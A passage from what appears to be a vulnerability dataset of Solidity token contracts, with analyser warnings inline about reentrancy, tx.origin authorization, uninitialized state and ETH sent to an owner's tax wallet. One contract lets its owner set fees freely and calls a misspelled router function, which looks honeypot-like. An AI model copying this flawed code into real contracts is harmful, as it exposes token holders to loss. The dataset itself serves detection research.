amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a2465f6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a2465f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6073413): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6073413: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a2465f6\n\t\t// reentrancy-benign | ID: 6073413\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a2465f6\n\t\t// reentrancy-benign | ID: 6073413\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6ca849): WHITE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a6ca849: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6073413\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a2465f6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b57ae72): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b57ae72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 175ce15): WHITE._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 175ce15: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c2db988): WHITE.bots is never initialized. It is used in WHITE._transfer(address,address,uint256) WHITE.isBot(address)\n\t// Recommendation for c2db988: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cfbdce2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cfbdce2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 175ce15\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n\n _buyerMap[to] = true;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n require(\n _buyCount > _preventSwapBefore || _buyerMap[from],\n \"Seller is not buyer\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: b57ae72\n\t\t\t\t// reentrancy-eth | ID: cfbdce2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b57ae72\n\t\t\t\t\t// reentrancy-eth | ID: cfbdce2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cfbdce2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b57ae72\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cfbdce2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cfbdce2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b57ae72\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a2465f6\n\t\t// reentrancy-events | ID: b57ae72\n\t\t// reentrancy-benign | ID: 6073413\n\t\t// reentrancy-eth | ID: cfbdce2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeTheLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4a4ede7): WHITE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4a4ede7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a2465f6\n\t\t// reentrancy-events | ID: b57ae72\n\t\t// reentrancy-eth | ID: cfbdce2\n\t\t// arbitrary-send-eth | ID: 4a4ede7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c2db988): WHITE.bots is never initialized. It is used in WHITE._transfer(address,address,uint256) WHITE.isBot(address)\n\t// Recommendation for c2db988: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ebb77b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ebb77b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 937abfc): WHITE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 937abfc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f65091f): WHITE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f65091f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 91cedcf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 91cedcf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ebb77b2\n\t\t// reentrancy-eth | ID: 91cedcf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ebb77b2\n\t\t// unused-return | ID: 937abfc\n\t\t// reentrancy-eth | ID: 91cedcf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ebb77b2\n\t\t// unused-return | ID: f65091f\n\t\t// reentrancy-eth | ID: 91cedcf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ebb77b2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 91cedcf\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwapIt() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}\n",
"file_name": "solidity_code_10184.sol",
"size_bytes": 22137,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: unlicense\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFreelyOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract MrPringles {\n struct StoreData {\n address tokenMkt;\n uint8 buyFee;\n uint8 sellFee;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 6dd7e8e): MrPringles._name should be constant \n\t// Recommendation for 6dd7e8e: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"PRINGLES\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f4f675): MrPringles._symbol should be constant \n\t// Recommendation for 9f4f675: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"PRINGLES\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 1000_000_000 * 10 ** decimals;\n\n StoreData public storeData;\n\n uint256 constant swapAmount = totalSupply / 100;\n\n error Permissions();\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed TOKEN_MKT,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public pair;\n\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n bool private swapping;\n\n bool private tradingOpen;\n\n constructor() {\n uint8 _initBuyFee = 2;\n\n uint8 _initSellFee = 2;\n\n storeData = StoreData({\n tokenMkt: msg.sender,\n buyFee: _initBuyFee,\n sellFee: _initSellFee\n });\n\n balanceOf[msg.sender] = totalSupply;\n\n allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function TaxFees(uint8 _buy, uint8 _sell) external {\n if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n\n Waivefees(_buy, _sell);\n }\n\n function Waivefees(uint8 _buy, uint8 _sell) private {\n storeData.buyFee = _buy;\n\n storeData.sellFee = _sell;\n }\n\n function _decodeTokenMktWithZkVerify() private view returns (address) {\n return storeData.tokenMkt;\n }\n\n function openTrading() external {\n require(msg.sender == _decodeTokenMktWithZkVerify());\n\n require(!tradingOpen);\n\n address _factory = _uniswapV2Router.factory();\n\n address _weth = _uniswapV2Router.WETH();\n\n address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\n\n pair = _pair;\n\n tradingOpen = true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n\n return _transfer(from, to, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 36915c6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 36915c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8530875): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8530875: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n address tokenMkt = _decodeTokenMktWithZkVerify();\n\n require(tradingOpen || from == tokenMkt || to == tokenMkt);\n\n balanceOf[from] -= amount;\n\n if (\n to == pair &&\n !swapping &&\n balanceOf[address(this)] >= swapAmount &&\n from != tokenMkt\n ) {\n swapping = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n\t\t\t// reentrancy-events | ID: 36915c6\n\t\t\t// reentrancy-eth | ID: 8530875\n _uniswapV2Router\n .swapExactTokensForETHSupportingFreelyOnTransferTokens(\n swapAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t\t// reentrancy-events | ID: 36915c6\n\t\t\t// reentrancy-eth | ID: 8530875\n payable(tokenMkt).transfer(address(this).balance);\n\n\t\t\t// reentrancy-eth | ID: 8530875\n swapping = false;\n }\n\n (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);\n\n if (from != address(this) && tradingOpen == true) {\n uint256 taxCalculatedAmount = (amount *\n (to == pair ? _sellFee : _buyFee)) / 100;\n\n amount -= taxCalculatedAmount;\n\n\t\t\t// reentrancy-eth | ID: 8530875\n balanceOf[address(this)] += taxCalculatedAmount;\n }\n\n\t\t// reentrancy-eth | ID: 8530875\n balanceOf[to] += amount;\n\n\t\t// reentrancy-events | ID: 36915c6\n emit Transfer(from, to, amount);\n\n return true;\n }\n}\n",
"file_name": "solidity_code_10185.sol",
"size_bytes": 6519,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract XEIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f18e86): XEIN._taxWallet should be immutable \n\t// Recommendation for 2f18e86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 321bc30): XEIN._initialBuyTax should be constant \n\t// Recommendation for 321bc30: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad2f91e): XEIN._initialSellTax should be constant \n\t// Recommendation for ad2f91e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b087ee9): XEIN._reduceBuyTaxAt should be constant \n\t// Recommendation for b087ee9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c5d847): XEIN._reduceSellTaxAt should be constant \n\t// Recommendation for 0c5d847: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c5d46cf): XEIN._preventSwapBefore should be constant \n\t// Recommendation for c5d46cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"xein.network\";\n\n string private constant _symbol = unicode\"XEIN\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1337e0): XEIN._taxSwapThreshold should be constant \n\t// Recommendation for f1337e0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4b2239): XEIN._maxTaxSwap should be constant \n\t// Recommendation for a4b2239: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b0b152): XEIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b0b152: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 427821c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 427821c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 609f261): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 609f261: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 427821c\n\t\t// reentrancy-benign | ID: 609f261\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 427821c\n\t\t// reentrancy-benign | ID: 609f261\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61673e2): XEIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 61673e2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 609f261\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 427821c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74ecfc6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74ecfc6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1709224): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1709224: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 74ecfc6\n\t\t\t\t// reentrancy-eth | ID: 1709224\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 74ecfc6\n\t\t\t\t\t// reentrancy-eth | ID: 1709224\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1709224\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1709224\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1709224\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 74ecfc6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1709224\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1709224\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 74ecfc6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 74ecfc6\n\t\t// reentrancy-events | ID: 427821c\n\t\t// reentrancy-benign | ID: 609f261\n\t\t// reentrancy-eth | ID: 1709224\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a126621): XEIN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a126621: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 74ecfc6\n\t\t// reentrancy-events | ID: 427821c\n\t\t// reentrancy-eth | ID: 1709224\n\t\t// arbitrary-send-eth | 